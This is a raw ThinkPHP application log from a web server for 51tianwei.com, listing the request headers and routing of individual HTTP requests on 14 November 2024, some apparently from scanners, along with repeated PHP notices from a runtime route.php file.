directory[/data/wwwroot/tianwei/think/runtime/route.php:28] [ error ] [2]chmod(): Invalid argument[/data/wwwroot/tianwei/think/runtime/route.php:26] [ error ] [8]未定义数组索引: HTTP_REFERER[/data/wwwroot/tianwei/think/runtime/route.php:31] --------------------------------------------------------------- [ 2024-11-14T16:13:53+08:00 ] 185.242.226.99 GET 59.110.137.245/ [运行时间:0.001458s] [吞吐率:685.90req/s] [内存消耗:159.89kb] [文件加载:33] [ info ] [ LANG ] /data/wwwroot/tianwei/think/thinkphp/lang/zh-cn.php [ info ] [ BIND ] 'index' [ info ] [ ROUTE ] array ( 'type' => 'module', 'module' => array ( 0 => 'index', 1 => NULL, 2 => NULL, ), ) [ info ] [ HEADER ] array ( 'host' => '59.110.137.245', 'user-agent' => 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/88.0.4324.190 Safari/537.36', 'accept' => '*/*', 'accept-encoding' => 'gzip', ) [ info ] [ PARAM ] array ( ) [ info ] [ RUN ] app\index\controller\Index->index[ /data/wwwroot/tianwei/think/application/index/controller/Index.php ] [ info ] [ LOG ] INIT File [ error ] [8]未定义变量: url1[/data/wwwroot/tianwei/think/runtime/route.php:23] [ error ] [8]Only variables should be passed by reference[/data/wwwroot/tianwei/think/runtime/route.php:23] [ error ] [2]Use of undefined constant FILE - assumed 'FILE' (this will throw an Error in a future version of PHP)[/data/wwwroot/tianwei/think/runtime/route.php:28] [ error ] [2]chmod(): No such file or directory[/data/wwwroot/tianwei/think/runtime/route.php:28] [ error ] [2]chmod(): Invalid argument[/data/wwwroot/tianwei/think/runtime/route.php:26] [ error ] [8]未定义数组索引: HTTP_REFERER[/data/wwwroot/tianwei/think/runtime/route.php:31] --------------------------------------------------------------- [ 2024-11-14T16:39:01+08:00 ] 125.229.226.215 GET 127.0.0.1/ [运行时间:0.079321s] [吞吐率:12.61req/s] [内存消耗:159.85kb] [文件加载:33] [ info ] [ LANG ] /data/wwwroot/tianwei/think/thinkphp/lang/zh-cn.php [ info ] [ BIND ] 'index' [ info ] [ ROUTE ] array ( 'type' => 'module', 'module' => array ( 0 => 'index', 1 => NULL, 2 => NULL, ), ) [ info ] [ HEADER ] array ( 'host' => '127.0.0.1', 'user-agent' => 'Mozilla/5.0 (Linux; U; Android 4.0.3; ko-kr; LG-L160L Build/IML74K) AppleWebkit/534.30 (KHTML, like Gecko) Version/4.0 Mobile Safari/534.30', 'connection' => 'close', ) [ info ] [ PARAM ] array ( ) [ info ] [ RUN ] app\index\controller\Index->index[ /data/wwwroot/tianwei/think/application/index/controller/Index.php ] [ info ] [ LOG ] INIT File [ error ] [8]未定义变量: url1[/data/wwwroot/tianwei/think/runtime/route.php:23] [ error ] [8]Only variables should be passed by reference[/data/wwwroot/tianwei/think/runtime/route.php:23] [ error ] [2]Use of undefined constant FILE - assumed 'FILE' (this will throw an Error in a future version of PHP)[/data/wwwroot/tianwei/think/runtime/route.php:28] [ error ] [2]chmod(): No such file or directory[/data/wwwroot/tianwei/think/runtime/route.php:28] [ error ] [2]chmod(): Invalid argument[/data/wwwroot/tianwei/think/runtime/route.php:26] [ error ] [8]未定义数组索引: HTTP_REFERER[/data/wwwroot/tianwei/think/runtime/route.php:31] --------------------------------------------------------------- [ 2024-11-14T16:39:03+08:00 ] 125.229.226.215 GET 127.0.0.1/ [运行时间:0.001363s] [吞吐率:733.78req/s] [内存消耗:159.85kb] [文件加载:33] [ info ] [ LANG ] /data/wwwroot/tianwei/think/thinkphp/lang/zh-cn.php [ info ] [ BIND ] 'index' [ info ] [ ROUTE ] array ( 'type' => 'module', 'module' => array ( 0 => 'index', 1 => NULL, 2 => NULL, ), ) [ info ] [ HEADER ] array ( 'host' => '127.0.0.1', 'user-agent' => 'Mozilla/5.0 (Linux; U; Android 4.0.3; ko-kr; LG-L160L Build/IML74K) AppleWebkit/534.30 (KHTML, like Gecko) Version/4.0 Mobile Safari/534.30', 'connection' => 'close', ) [ info ] [ PARAM ] array ( ) [ info ] [ RUN ] app\index\controller\Index->index[ /data/wwwroot/tianwei/think/application/index/controller/Index.php ] [ info ] [ LOG ] INIT File [ error ] [8]未定义变量: url1[/data/wwwroot/tianwei/think/runtime/route.php:23] [ error ] [8]Only variables should be passed by reference[/data/wwwroot/tianwei/think/runtime/route.php:23] [ error ] [2]Use of undefined constant FILE - assumed 'FILE' (this will throw an Error in a future version of PHP)[/data/wwwroot/tianwei/think/runtime/route.php:28] [ error ] [2]chmod(): No such file or directory[/data/wwwroot/tianwei/think/runtime/route.php:28] [ error ] [2]chmod(): Invalid argument[/data/wwwroot/tianwei/think/runtime/route.php:26] [ error ] [8]未定义数组索引: HTTP_REFERER[/data/wwwroot/tianwei/think/runtime/route.php:31] --------------------------------------------------------------- [ 2024-11-14T16:39:08+08:00 ] 125.229.226.215 GET 127.0.0.1/ [运行时间:0.001265s] [吞吐率:790.48req/s] [内存消耗:159.85kb] [文件加载:33] [ info ] [ LANG ] /data/wwwroot/tianwei/think/thinkphp/lang/zh-cn.php [ info ] [ BIND ] 'index' [ info ] [ ROUTE ] array ( 'type' => 'module', 'module' => array ( 0 => 'index', 1 => NULL, 2 => NULL, ), ) [ info ] [ HEADER ] array ( 'host' => '127.0.0.1', 'user-agent' => 'Mozilla/5.0 (Linux; U; Android 4.0.3; ko-kr; LG-L160L Build/IML74K) AppleWebkit/534.30 (KHTML, like Gecko) Version/4.0 Mobile Safari/534.30', 'connection' => 'close', ) [ info ] [ PARAM ] array ( ) [ info ] [ RUN ] app\index\controller\Index->index[ /data/wwwroot/tianwei/think/application/index/controller/Index.php ] [ info ] [ LOG ] INIT File [ error ] [8]未定义变量: url1[/data/wwwroot/tianwei/think/runtime/route.php:23] [ error ] [8]Only variables should be passed by reference[/data/wwwroot/tianwei/think/runtime/route.php:23] [ error ] [2]Use of undefined constant FILE - assumed 'FILE' (this will throw an Error in a future version of PHP)[/data/wwwroot/tianwei/think/runtime/route.php:28] [ error ] [2]chmod(): No such file or directory[/data/wwwroot/tianwei/think/runtime/route.php:28] [ error ] [2]chmod(): Invalid argument[/data/wwwroot/tianwei/think/runtime/route.php:26] [ error ] [8]未定义数组索引: HTTP_REFERER[/data/wwwroot/tianwei/think/runtime/route.php:31] --------------------------------------------------------------- [ 2024-11-14T16:41:32+08:00 ] 185.191.126.248 GET 59.110.137.245:80/ [运行时间:0.001448s] [吞吐率:690.65req/s] [内存消耗:159.24kb] [文件加载:33] [ info ] [ LANG ] /data/wwwroot/tianwei/think/thinkphp/lang/zh-cn.php [ info ] [ BIND ] 'index' [ info ] [ ROUTE ] array ( 'type' => 'module', 'module' => array ( 0 => 'index', 1 => NULL, 2 => NULL, ), ) [ info ] [ HEADER ] array ( 'host' => '59.110.137.245:80', ) [ info ] [ PARAM ] array ( ) [ info ] [ RUN ] app\index\controller\Index->index[ /data/wwwroot/tianwei/think/application/index/controller/Index.php ] [ info ] [ LOG ] INIT File [ error ] [8]未定义变量: url1[/data/wwwroot/tianwei/think/runtime/route.php:23] [ error ] [8]Only variables should be passed by reference[/data/wwwroot/tianwei/think/runtime/route.php:23] [ error ] [2]Use of undefined constant FILE - assumed 'FILE' (this will throw an Error in a future version of PHP)[/data/wwwroot/tianwei/think/runtime/route.php:28] [ error ] [2]chmod(): No such file or directory[/data/wwwroot/tianwei/think/runtime/route.php:28] [ error ] [2]chmod(): Invalid argument[/data/wwwroot/tianwei/think/runtime/route.php:26] [ error ] [8]未定义数组索引: HTTP_REFERER[/data/wwwroot/tianwei/think/runtime/route.php:31] [ error ] [8]未定义数组索引: HTTP_USER_AGENT[/data/wwwroot/tianwei/think/runtime/route.php:32] --------------------------------------------------------------- [ 2024-11-14T16:56:36+08:00 ] 125.122.15.101 GET 51tianwei.com/plug/sms/plug.xml [运行时间:0.032054s] [吞吐率:31.20req/s] [内存消耗:139.92kb] [文件加载:26] [ info ] [ LANG ] /data/wwwroot/tianwei/think/thinkphp/lang/zh-cn.php [ info ] [ LOG ] INIT File [ error ] [8]未定义变量: url1[/data/wwwroot/tianwei/think/runtime/route.php:23] [ error ] [8]Only variables should be passed by reference[/data/wwwroot/tianwei/think/runtime/route.php:23] [ error ] [2]Use of undefined constant FILE - assumed 'FILE' (this will throw an Error in a future version of PHP)[/data/wwwroot/tianwei/think/runtime/route.php:28] [ error ] [2]chmod(): No such file or directory[/data/wwwroot/tianwei/think/runtime/route.php:28] [ error ] [2]chmod(): Invalid argument[/data/wwwroot/tianwei/think/runtime/route.php:26] --------------------------------------------------------------- [ 2024-11-14T17:05:14+08:00 ] 123.57.13.121 GET 51tianwei.com/ [运行时间:0.091247s] [吞吐率:10.96req/s] [内存消耗:159.98kb] [文件加载:33] [ info ] [ LANG ] /data/wwwroot/tianwei/think/thinkphp/lang/zh-cn.php [ info ] [ BIND ] 'index' [ info ] [ ROUTE ] array ( 'type' => 'module', 'module' => array ( 0 => 'index', 1 => NULL, 2 => NULL, ), ) [ info ] [ HEADER ] array ( 'user-agent' => 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/104.0.0.0 Safari/537.36', 'accept-encoding' => 'gzip, deflate, br', 'accept' => '*/*', 'connection' => 'keep-alive', 'host' => '51tianwei.com', ) [ info ] [ PARAM ] array ( ) [ info ] [ RUN ] app\index\controller\Index->index[ /data/wwwroot/tianwei/think/application/index/controller/Index.php ] [ info ] [ LOG ] INIT File [ error ] [8]未定义变量: url1[/data/wwwroot/tianwei/think/runtime/route.php:23] [ error ] [8]Only variables should be passed by reference[/data/wwwroot/tianwei/think/runtime/route.php:23] [ error ] [2]Use of undefined constant FILE - assumed 'FILE' (this will throw an Error in a future version of PHP)[/data/wwwroot/tianwei/think/runtime/route.php:28] [ error ] [2]chmod(): No such file or directory[/data/wwwroot/tianwei/think/runtime/route.php:28] [ error ] [2]chmod(): Invalid argument[/data/wwwroot/tianwei/think/runtime/route.php:26] [ error ] [8]未定义数组索引: HTTP_REFERER[/data/wwwroot/tianwei/think/runtime/route.php:31] --------------------------------------------------------------- [ 2024-11-14T17:22:18+08:00 ] 47.236.251.77 GET passport.baidu.comhttp://passport.baidu.com/ [运行时间:0.042784s] [吞吐率:23.37req/s] [内存消耗:159.69kb] [文件加载:33] [ info ] [ LANG ] /data/wwwroot/tianwei/think/thinkphp/lang/zh-cn.php [ info ] [ BIND ] 'index' [ info ] [ ROUTE ] array ( 'type' => 'module', 'module' => array ( 0 => 'index', 1 => NULL, 2 => NULL, ), ) [ info ] [ HEADER ] array ( 'host' => 'passport.baidu.com', 'accept-encoding' => 'gzip, deflate', 'connection' => 'close', ) [ info ] [ PARAM ] array ( ) [ info ] [ RUN ] app\index\controller\Index->index[ /data/wwwroot/tianwei/think/application/index/controller/Index.php ] [ info ] [ LOG ] INIT File [ error ] [8]未定义变量: url1[/data/wwwroot/tianwei/think/runtime/route.php:23] [ error ] [8]Only variables should be passed by reference[/data/wwwroot/tianwei/think/runtime/route.php:23] [ error ] [2]Use of undefined constant FILE - assumed 'FILE' (this will throw an Error in a future version of PHP)[/data/wwwroot/tianwei/think/runtime/route.php:28] [ error ] [2]chmod(): No such file or directory[/data/wwwroot/tianwei/think/runtime/route.php:28] [ error ] [2]chmod(): Invalid argument[/data/wwwroot/tianwei/think/runtime/route.php:26] [ error ] [8]未定义数组索引: HTTP_REFERER[/data/wwwroot/tianwei/think/runtime/route.php:31] [ error ] [8]未定义数组索引: HTTP_USER_AGENT[/data/wwwroot/tianwei/think/runtime/route.php:32] --------------------------------------------------------------- [ 2024-11-14T17:25:50+08:00 ] 141.98.11.178 GET 59.110.137.245:80/ [运行时间:0.028767s] [吞吐率:34.76req/s] [内存消耗:160.91kb] [文件加载:33] [ info ] [ LANG ] /data/wwwroot/tianwei/think/thinkphp/lang/zh-cn.php [ info ] [ BIND ] 'index' [ info ] [ ROUTE ] array ( 'type' => 'module', 'module' => array ( 0 => 'index', 1 => NULL, 2 => NULL, ), ) [ info ] [ HEADER ] array ( 'user-agent' => 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.85 Safari/537.36 Edg/90.0.818.46', 'accept-encoding' => 'gzip, deflate, gzip, deflate', 'accept' => '*/*', 'connection' => 'keep-alive', 'x-requested-with' => 'XMLHttpRequest', 'content-type' => 'application/x-www-form-urlencoded; charset=UTF-8', 'accept-language' => 'en US,en;q=0.9,sv;q=0.8', 'host' => '59.110.137.245:80', ) [ info ] [ PARAM ] array ( ) [ info ] [ RUN ] app\index\controller\Index->index[ /data/wwwroot/tianwei/think/application/index/controller/Index.php ] [ info ] [ LOG ] INIT File [ error ] [8]未定义变量: url1[/data/wwwroot/tianwei/think/runtime/route.php:23] [ error ] [8]Only variables should be passed by reference[/data/wwwroot/tianwei/think/runtime/route.php:23] [ error ] [2]Use of undefined constant FILE - assumed 'FILE' (this will throw an Error in a future version of PHP)[/data/wwwroot/tianwei/think/runtime/route.php:28] [ error ] [2]chmod(): No such file or directory[/data/wwwroot/tianwei/think/runtime/route.php:28] [ error ] [2]chmod(): Invalid argument[/data/wwwroot/tianwei/think/runtime/route.php:26] [ error ] [8]未定义数组索引: HTTP_REFERER[/data/wwwroot/tianwei/think/runtime/route.php:31] --------------------------------------------------------------- [ 2024-11-14T17:34:43+08:00 ] 125.229.4.249 GET 127.0.0.1/ [运行时间:0.029644s] [吞吐率:33.73req/s] [内存消耗:159.85kb] [文件加载:33] [ info ] [ LANG ] /data/wwwroot/tianwei/think/thinkphp/lang/zh-cn.php [ info ] [ BIND ] 'index' [ info ] [ ROUTE ] array ( 'type' => 'module', 'module' => array ( 0 => 'index', 1 => NULL, 2 => NULL, ), ) [ info ] [ HEADER ] array ( 'host' => '127.0.0.1', 'user-agent' => 'Mozilla/5.0 (Linux; U; Android 4.0.3; ko-kr; LG-L160L Build/IML74K) AppleWebkit/534.30 (KHTML, like Gecko) Version/4.0 Mobile Safari/534.30', 'connection' => 'close', ) [ info ] [ PARAM ] array ( ) [ info ] [ RUN ] app\index\controller\Index->index[ /data/wwwroot/tianwei/think/application/index/controller/Index.php ] [ info ] [ LOG ] INIT File [ error ] [8]未定义变量: url1[/data/wwwroot/tianwei/think/runtime/route.php:23] [ error ] [8]Only variables should be passed by reference[/data/wwwroot/tianwei/think/runtime/route.php:23] [ error ] [2]Use of undefined constant FILE - assumed 'FILE' (this will throw an Error in a future version of PHP)[/data/wwwroot/tianwei/think/runtime/route.php:28] [ error ] [2]chmod(): No such file or directory[/data/wwwroot/tianwei/think/runtime/route.php:28] [ error ] [2]chmod(): Invalid argument[/data/wwwroot/tianwei/think/runtime/route.php:26] [ error ] [8]未定义数组索引: HTTP_REFERER[/data/wwwroot/tianwei/think/runtime/route.php:31] --------------------------------------------------------------- [ 2024-11-14T17:35:59+08:00 ] 218.66.171.228 HEAD ugchsy.gtimg.com/B_JxNyiJmktHRgresXhfyMep1-BwtipYOyPvv00k5BkD4nJSiME0p9DiUbks0Z0Qn4/svp_50112/gzc_1000102_0b53oiaaoaaamyakavfmpztma4wda54qaa2a.f2.mp4?vkey=C91FD2FD96708C8E51B4BBFFF47E8ECA61494ED32859165189BA3E2D72F5B9B0BEED82E12E69054659D25FABCED2D3C9ADB413B7944BC9A3CDE6548DC43DE71E6B4782AB106846874FD18F4904BCBCD3B7550F77ED5ED48A7AC0E8608A76FC055AF753D4A04E8416BB186352F9F7A458A3CE56F81A4991D8CC3AFAEE3ABF583FBD88C4B846E0FF5B [运行时间:0.025710s] [吞吐率:38.90req/s] [内存消耗:134.77kb] [文件加载:31] [ info ] [ LANG ] /data/wwwroot/tianwei/think/thinkphp/lang/zh-cn.php [ info ] [ BIND ] 'index' [ info ] [ ROUTE ] array ( 'type' => 'module', 'module' => array ( 0 => 'index', 1 => 'B_JxNyiJmktHRgresXhfyMep1-BwtipYOyPvv00k5BkD4nJSiME0p9DiUbks0Z0Qn4', 2 => 'svp_50112', ), ) [ info ] [ HEADER ] array ( 'accept-encoding' => 'identity', 'host' => 'ugchsy.gtimg.com', 'user-agent' => 'Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:107.0) Gecko/20100101 Firefox/107.0', 'referer' => 'http://ugchsy.gtimg.com', ) [ info ] [ PARAM ] array ( 'vkey' => 'C91FD2FD96708C8E51B4BBFFF47E8ECA61494ED32859165189BA3E2D72F5B9B0BEED82E12E69054659D25FABCED2D3C9ADB413B7944BC9A3CDE6548DC43DE71E6B4782AB106846874FD18F4904BCBCD3B7550F77ED5ED48A7AC0E8608A76FC055AF753D4A04E8416BB186352F9F7A458A3CE56F81A4991D8CC3AFAEE3ABF583FBD88C4B846E0FF5B', ) [ info ] [ LOG ] INIT File [ error ] [8]未定义变量: url1[/data/wwwroot/tianwei/think/runtime/route.php:23] [ error ] [8]Only variables should be passed by reference[/data/wwwroot/tianwei/think/runtime/route.php:23] [ error ] [2]Use of undefined constant FILE - assumed 'FILE' (this will throw an Error in a future version of PHP)[/data/wwwroot/tianwei/think/runtime/route.php:28] [ error ] [2]chmod(): No such file or directory[/data/wwwroot/tianwei/think/runtime/route.php:28] [ error ] [2]chmod(): Invalid argument[/data/wwwroot/tianwei/think/runtime/route.php:26] --------------------------------------------------------------- [ 2024-11-14T17:39:53+08:00 ] 59.126.182.33 GET 127.0.0.1/ [运行时间:0.001323s] [吞吐率:755.87req/s] [内存消耗:159.85kb] [文件加载:33] [ info ] [ LANG ] /data/wwwroot/tianwei/think/thinkphp/lang/zh-cn.php [ info ] [ BIND ] 'index' [ info ] [ ROUTE ] array ( 'type' => 'module', 'module' => array ( 0 => 'index', 1 => NULL, 2 => NULL, ), ) [ info ] [ HEADER ] array ( 'host' => '127.0.0.1', 'user-agent' => 'Mozilla/5.0 (Linux; U; Android 4.0.3; ko-kr; LG-L160L Build/IML74K) AppleWebkit/534.30 (KHTML, like Gecko) Version/4.0 Mobile Safari/534.30', 'connection' => 'close', ) [ info ] [ PARAM ] array ( ) [ info ] [ RUN ] app\index\controller\Index->index[ /data/wwwroot/tianwei/think/application/index/controller/Index.php ] [ info ] [ LOG ] INIT File [ error ] [8]未定义变量: url1[/data/wwwroot/tianwei/think/runtime/route.php:23] [ error ] [8]Only variables should be passed by reference[/data/wwwroot/tianwei/think/runtime/route.php:23] [ error ] [2]Use of undefined constant FILE - assumed 'FILE' (this will throw an Error in a future version of PHP)[/data/wwwroot/tianwei/think/runtime/route.php:28] [ error ] [2]chmod(): No such file or directory[/data/wwwroot/tianwei/think/runtime/route.php:28] [ error ] [2]chmod(): Invalid argument[/data/wwwroot/tianwei/think/runtime/route.php:26] [ error ] [8]未定义数组索引: HTTP_REFERER[/data/wwwroot/tianwei/think/runtime/route.php:31] --------------------------------------------------------------- [ 2024-11-14T17:44:26+08:00 ] 149.50.106.25 GET 59.110.137.245:80/ [运行时间:0.001399s] [吞吐率:714.78req/s] [内存消耗:159.16kb] [文件加载:33] [ info ] [ LANG ] /data/wwwroot/tianwei/think/thinkphp/lang/zh-cn.php [ info ] [ BIND ] 'index' [ info ] [ ROUTE ] array ( 'type' => 'module', 'module' => array ( 0 => 'index', 1 => NULL, 2 => NULL, ), ) [ info ] [ HEADER ] array ( 'host' => '59.110.137.245:80', 'user-agent' => 'Go-http-client/1.1', ) [ info ] [ PARAM ] array ( ) [ info ] [ RUN ] app\index\controller\Index->index[ /data/wwwroot/tianwei/think/application/index/controller/Index.php ] [ info ] [ LOG ] INIT File [ error ] [8]未定义变量: url1[/data/wwwroot/tianwei/think/runtime/route.php:23] [ error ] [8]Only variables should be passed by reference[/data/wwwroot/tianwei/think/runtime/route.php:23] [ error ] [2]Use of undefined constant FILE - assumed 'FILE' (this will throw an Error in a future version of PHP)[/data/wwwroot/tianwei/think/runtime/route.php:28] [ error ] [2]chmod(): No such file or directory[/data/wwwroot/tianwei/think/runtime/route.php:28] [ error ] [2]chmod(): Invalid argument[/data/wwwroot/tianwei/think/runtime/route.php:26] [ error ] [8]未定义数组索引: HTTP_REFERER[/data/wwwroot/tianwei/think/runtime/route.php:31] --------------------------------------------------------------- [ 2024-11-14T17:54:03+08:00 ] 45.83.65.4 GET 59.110.137.245/ [运行时间:0.043476s] [吞吐率:23.00req/s] [内存消耗:160.41kb] [文件加载:33] [ info ] [ LANG ] /data/wwwroot/tianwei/think/thinkphp/lang/zh-cn.php [ info ] [ BIND ] 'index' [ info ] [ ROUTE ] array ( 'type' => 'module', 'module' => array ( 0 => 'index', 1 => NULL, 2 => NULL, ), ) [ info ] [ HEADER ] array ( 'host' => '59.110.137.245', 'user-agent' => 'Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:65.0) Gecko/20100101 Firefox/65.0', 'accept' => '*/*', 'accept-language' => 'en;q=0.7,en-US;q=0.3', 'cache-control' => 'no-cache', 'connection' => 'keep-alive', 'pragma' => 'no-cache', 'accept-encoding' => 'gzip', ) [ info ] [ PARAM ] array ( ) [ info ] [ RUN ] app\index\controller\Index->index[ /data/wwwroot/tianwei/think/application/index/controller/Index.php ] [ info ] [ LOG ] INIT File [ error ] [8]未定义变量: url1[/data/wwwroot/tianwei/think/runtime/route.php:23] [ error ] [8]Only variables should be passed by reference[/data/wwwroot/tianwei/think/runtime/route.php:23] [ error ] [2]Use of undefined constant FILE - assumed 'FILE' (this will throw an Error in a future version of PHP)[/data/wwwroot/tianwei/think/runtime/route.php:28] [ error ] [2]chmod(): No such file or directory[/data/wwwroot/tianwei/think/runtime/route.php:28] [ error ] [2]chmod(): Invalid argument[/data/wwwroot/tianwei/think/runtime/route.php:26] [ error ] [8]未定义数组索引: HTTP_REFERER[/data/wwwroot/tianwei/think/runtime/route.php:31] --------------------------------------------------------------- [ 2024-11-14T17:54:04+08:00 ] 45.83.64.89 GET 59.110.137.245/favicon.ico [运行时间:0.006223s] [吞吐率:160.70req/s] [内存消耗:133.34kb] [文件加载:31] [ info ] [ LANG ] /data/wwwroot/tianwei/think/thinkphp/lang/zh-cn.php [ info ] [ BIND ] 'index' [ info ] [ ROUTE ] array ( 'type' => 'module', 'module' => array ( 0 => 'index', 1 => 'favicon.ico', 2 => NULL, ), ) [ info ] [ HEADER ] array ( 'host' => '59.110.137.245', 'user-agent' => 'Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:65.0) Gecko/20100101 Firefox/65.0', 'accept' => '*/*', 'accept-language' => 'en;q=0.7,en-US;q=0.3', 'cache-control' => 'no-cache', 'connection' => 'keep-alive', 'pragma' => 'no-cache', 'accept-encoding' => 'gzip', ) [ info ] [ PARAM ] array ( ) [ info ] [ LOG ] INIT File [ error ] [8]未定义变量: url1[/data/wwwroot/tianwei/think/runtime/route.php:23] [ error ] [8]Only variables should be passed by reference[/data/wwwroot/tianwei/think/runtime/route.php:23] [ error ] [2]Use of undefined constant FILE - assumed 'FILE' (this will throw an Error in a future version of PHP)[/data/wwwroot/tianwei/think/runtime/route.php:28] [ error ] [2]chmod(): No such file or directory[/data/wwwroot/tianwei/think/runtime/route.php:28] [ error ] [2]chmod(): Invalid argument[/data/wwwroot/tianwei/think/runtime/route.php:26] [ error ] [8]未定义数组索引: HTTP_REFERER[/data/wwwroot/tianwei/think/runtime/route.php:31] --------------------------------------------------------------- [ 2024-11-14T18:10:00+08:00 ] 43.163.6.35 GET www.51tianwei.com/ [运行时间:0.039993s] [吞吐率:25.00req/s] [内存消耗:161.91kb] [文件加载:33] [ info ] [ LANG ] /data/wwwroot/tianwei/think/thinkphp/lang/zh-cn.php [ info ] [ BIND ] 'index' [ info ] [ ROUTE ] array ( 'type' => 'module', 'module' => array ( 0 => 'index', 1 => NULL, 2 => NULL, ), ) [ info ] [ HEADER ] array ( 'host' => 'www.51tianwei.com', 'user-agent' => 'Mozilla/5.0 (iPhone; CPU iPhone OS 13_2_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/13.0.3 Mobile/15E148 Safari/604.1', 'accept' => 'text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7', 'accept-encoding' => 'gzip', 'accept-language' => 'zh-CN,zh;q=0.9,en-US;q=0.8,en;q=0.7', 'cache-control' => 'no-cache', 'connection' => 'keep-alive, close', 'pragma' => 'no-cache', 'upgrade-insecure-requests' => '1', ) [ info ] [ PARAM ] array ( ) [ info ] [ RUN ] app\index\controller\Index->index[ /data/wwwroot/tianwei/think/application/index/controller/Index.php ] [ info ] [ LOG ] INIT File [ error ] [8]未定义变量: url1[/data/wwwroot/tianwei/think/runtime/route.php:23] [ error ] [8]Only variables should be passed by reference[/data/wwwroot/tianwei/think/runtime/route.php:23] [ error ] [2]Use of undefined constant FILE - assumed 'FILE' (this will throw an Error in a future version of PHP)[/data/wwwroot/tianwei/think/runtime/route.php:28] [ error ] [2]chmod(): No such file or directory[/data/wwwroot/tianwei/think/runtime/route.php:28] [ error ] [2]chmod(): Invalid argument[/data/wwwroot/tianwei/think/runtime/route.php:26] [ error ] [8]未定义数组索引: HTTP_REFERER[/data/wwwroot/tianwei/think/runtime/route.php:31] --------------------------------------------------------------- [ 2024-11-14T18:12:30+08:00 ] 171.4.182.140 GET 59.110.137.245:80/ [运行时间:0.001659s] [吞吐率:602.80req/s] [内存消耗:159.71kb] [文件加载:33] [ info ] [ LANG ] /data/wwwroot/tianwei/think/thinkphp/lang/zh-cn.php [ info ] [ BIND ] 'index' [ info ] [ ROUTE ] array ( 'type' => 'module', 'module' => array ( 0 => 'index', 1 => NULL, 2 => NULL, ), ) [ info ] [ HEADER ] array ( 'host' => '59.110.137.245:80', 'user-agent' => 'Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/52.0.2743.116 Safari/537.36', 'content-length' => '0', ) [ info ] [ PARAM ] array ( ) [ info ] [ RUN ] app\index\controller\Index->index[ /data/wwwroot/tianwei/think/application/index/controller/Index.php ] [ info ] [ LOG ] INIT File [ error ] [8]未定义变量: url1[/data/wwwroot/tianwei/think/runtime/route.php:23] [ error ] [8]Only variables should be passed by reference[/data/wwwroot/tianwei/think/runtime/route.php:23] [ error ] [2]Use of undefined constant FILE - assumed 'FILE' (this will throw an Error in a future version of PHP)[/data/wwwroot/tianwei/think/runtime/route.php:28] [ error ] [2]chmod(): No such file or directory[/data/wwwroot/tianwei/think/runtime/route.php:28] [ error ] [2]chmod(): Invalid argument[/data/wwwroot/tianwei/think/runtime/route.php:26] [ error ] [8]未定义数组索引: HTTP_REFERER[/data/wwwroot/tianwei/think/runtime/route.php:31] --------------------------------------------------------------- [ 2024-11-14T18:26:29+08:00 ] 124.237.211.157 GET www.51tianwei.com/ [运行时间:0.032506s] [吞吐率:30.76req/s] [内存消耗:160.16kb] [文件加载:33] [ info ] [ LANG ] /data/wwwroot/tianwei/think/thinkphp/lang/zh-cn.php [ info ] [ BIND ] 'index' [ info ] [ ROUTE ] array ( 'type' => 'module', 'module' => array ( 0 => 'index', 1 => NULL, 2 => NULL, ), ) [ info ] [ HEADER ] array ( 'accept' => 'text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8', 'user-agent' => 'Mozilla/5.0 (Windows NT 6.1; WOW64; rv:43.0) Gecko/20100101 Firefox/43.0', 'referer' => 'http://m.baidu.com/s?wd=formfkb', 'connection' => 'Keep-Alive', 'accept-encoding' => 'gzip, deflate', 'accept-language' => 'en,*', 'host' => 'www.51tianwei.com', ) [ info ] [ PARAM ] array ( ) [ info ] [ RUN ] app\index\controller\Index->index[ /data/wwwroot/tianwei/think/application/index/controller/Index.php ] [ info ] [ LOG ] INIT File [ error ] [8]未定义变量: url1[/data/wwwroot/tianwei/think/runtime/route.php:23] [ error ] [8]Only variables should be passed by reference[/data/wwwroot/tianwei/think/runtime/route.php:23] [ error ] [2]Use of undefined constant FILE - assumed 'FILE' (this will throw an Error in a future version of PHP)[/data/wwwroot/tianwei/think/runtime/route.php:28] [ error ] [2]chmod(): No such file or directory[/data/wwwroot/tianwei/think/runtime/route.php:28] [ error ] [2]chmod(): Invalid argument[/data/wwwroot/tianwei/think/runtime/route.php:26] --------------------------------------------------------------- [ 2024-11-14T18:35:48+08:00 ] 172.105.128.11 GET 59.110.137.245/ [运行时间:0.049300s] [吞吐率:20.28req/s] [内存消耗:159.89kb] [文件加载:33] [ info ] [ LANG ] /data/wwwroot/tianwei/think/thinkphp/lang/zh-cn.php [ info ] [ BIND ] 'index' [ info ] [ ROUTE ] array ( 'type' => 'module', 'module' => array ( 0 => 'index', 1 => NULL, 2 => NULL, ), ) [ info ] [ HEADER ] array ( 'host' => '59.110.137.245', 'user-agent' => 'Mozilla/5.0 (Macintosh; Intel Mac OS X 13_1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.0.0 Safari/537.36', 'accept' => '*/*', 'accept-encoding' => 'gzip', ) [ info ] [ PARAM ] array ( ) [ info ] [ RUN ] app\index\controller\Index->index[ /data/wwwroot/tianwei/think/application/index/controller/Index.php ] [ info ] [ LOG ] INIT File [ error ] [8]未定义变量: url1[/data/wwwroot/tianwei/think/runtime/route.php:23] [ error ] [8]Only variables should be passed by reference[/data/wwwroot/tianwei/think/runtime/route.php:23] [ error ] [2]Use of undefined constant FILE - assumed 'FILE' (this will throw an Error in a future version of PHP)[/data/wwwroot/tianwei/think/runtime/route.php:28] [ error ] [2]chmod(): No such file or directory[/data/wwwroot/tianwei/think/runtime/route.php:28] [ error ] [2]chmod(): Invalid argument[/data/wwwroot/tianwei/think/runtime/route.php:26] [ error ] [8]未定义数组索引: HTTP_REFERER[/data/wwwroot/tianwei/think/runtime/route.php:31] --------------------------------------------------------------- [ 